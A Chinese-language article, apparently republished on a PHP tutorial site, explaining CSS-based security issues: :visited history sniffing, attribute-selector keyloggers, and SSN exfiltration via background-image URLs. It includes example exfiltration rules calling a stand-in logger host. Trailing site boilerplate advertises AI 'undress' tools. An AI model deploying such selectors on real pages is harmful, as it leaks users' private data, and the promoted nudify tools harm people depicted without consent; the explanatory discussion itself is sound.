不必惊慌!CSS本身并非主要的重大安全隐患,大多数情况下无需过度担忧。
然而,一些文章会讨论CSS潜在的令人意外甚至担忧的功能。让我们来总结一下:
访问过的链接问题
该问题描述如下:
- 网站上有一个指向特定页面的链接,例如Tickle Pigs。
- 你使用
:visited
样式设置访问过的链接颜色,例如a:visited { color: pink; }
,这并非默认的用户代理样式。 - 你测试该链接的计算样式。
- 如果颜色为粉色,则表明该用户访问过该页面。
- 你将此信息报告给某个服务器,并据此进行某些操作(例如提高保险费率)。
你甚至可能完全使用CSS实现此目的,因为:visited
样式可能包含background-image: url(/data-logger/tickle.php);
,只有访问过该页面的用户才会请求该图片。
不必担心!浏览器已经阻止了这种攻击方式。
键盘记录器
该问题描述如下:
- 页面上有一个输入框,可能是密码输入框。
- 你将一个记录脚本作为输入框的背景图片,并添加大量选择器来收集密码信息。
input[value^="a"] { background: url(logger.php?v=a); }
这并不容易实现。输入框的value
属性不会因为用户输入而立即改变。但在React等框架中,有时会发生这种情况。因此,理论上,如果将此CSS添加到使用React构建的登录页面,则此CSS键盘记录器可能有效。
但是,在这种情况下,页面上已经执行了JavaScript代码。对于此类攻击,JavaScript比CSS危险得多。JavaScript键盘记录器只需几行代码即可监控按键事件并通过Ajax进行报告。
内容安全策略 (CSP) 可以阻止第三方和XSS注入的内联JavaScript……当然也可以阻止CSS。
数据窃取
该问题描述如下:
- 如果我能将恶意CSS添加到你已登录的网站页面……
- 并且该网站显示敏感信息,例如社会安全号码 (SSN),预先填充在表单中……
- 我可以用属性选择器来获取它。
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
通过大量选择器,你可以覆盖所有可能性!
内联样式块问题
我不确定是否应该将此归咎于CSS,但想象一下:
... 插入一些用户生成的内容 ...
也许你允许用户自定义一些CSS。这是一个攻击向量,因为他们可以关闭样式标签,打开脚本标签,并编写恶意的JavaScript代码。
肯定还有更多
想到了吗?分享出来吧。
我对CSS安全漏洞的恐惧程度持怀疑态度。我不想过分轻描淡写安全问题(尤其是第三方问题),因为我不是专家,安全至关重要。但与此同时,我从未听说过CSS成为除思想实验之外的任何攻击载体。请教教我!
以上是CSS安全漏洞的详细内容。更多信息请关注PHP中文网其他相关文章!

嘿,不是与滚动区域一起使用的相当新的CSS功能吗?哦,是的,那是卷轴驱动的动画。是否应该在滚动浏览CSS旋转木马中的项目时触发动画吗?

ThebestmethodforincludingCSSdependsonprojectsizeandcomplexity:1)Forlargerprojects,useexternalCSSforbettermaintainabilityandperformance.2)Forsmallerprojects,internalCSSissuitabletoavoidextraHTTPrequests.Alwaysconsidermaintainabilityandperformancewhenc

@keyframesandCSSTransitionsdifferincomplexity:@keyframesallowsfordetailedanimationsequences,whileCSSTransitionshandlesimplestatechanges.UseCSSTransitionsforhovereffectslikebuttoncolorchanges,and@keyframesforintricateanimationslikerotatingspinners.

我知道,我知道:有大量的内容管理系统选项可用,而我进行了几个测试,但实际上没有一个是一个,y'知道吗?怪异的定价模型,艰难的自定义,有些甚至最终成为整个&

链接CSS文件到HTML可以通过在HTML的部分使用元素实现。1)使用标签链接本地CSS文件。2)多个CSS文件可通过添加多个标签实现。3)外部CSS文件使用绝对URL链接,如。4)确保正确使用文件路径和CSS文件加载顺序,优化性能可使用CSS预处理器合并文件。

选择Flexbox还是Grid取决于布局需求:1)Flexbox适用于一维布局,如导航栏;2)Grid适合二维布局,如杂志式布局。两者在项目中可结合使用,提升布局效果。

包含CSS文件的最佳方法是使用标签在HTML的部分引入外部CSS文件。1.使用标签引入外部CSS文件,如。2.对于小型调整,可以使用内联CSS,但应谨慎使用。3.大型项目可使用CSS预处理器如Sass或Less,通过@import导入其他CSS文件。4.为了性能,应合并CSS文件并使用CDN,同时使用工具如CSSNano进行压缩。


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

Video Face Swap
使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

热工具

SublimeText3 Linux新版
SublimeText3 Linux最新版

SublimeText3 英文版
推荐:为Win版本,支持代码提示!

记事本++7.3.1
好用且免费的代码编辑器

PhpStorm Mac 版本
最新(2018.2.1 )专业的PHP集成开发工具

安全考试浏览器
Safe Exam Browser是一个安全的浏览器环境,用于安全地进行在线考试。该软件将任何计算机变成一个安全的工作站。它控制对任何实用工具的访问,并防止学生使用未经授权的资源。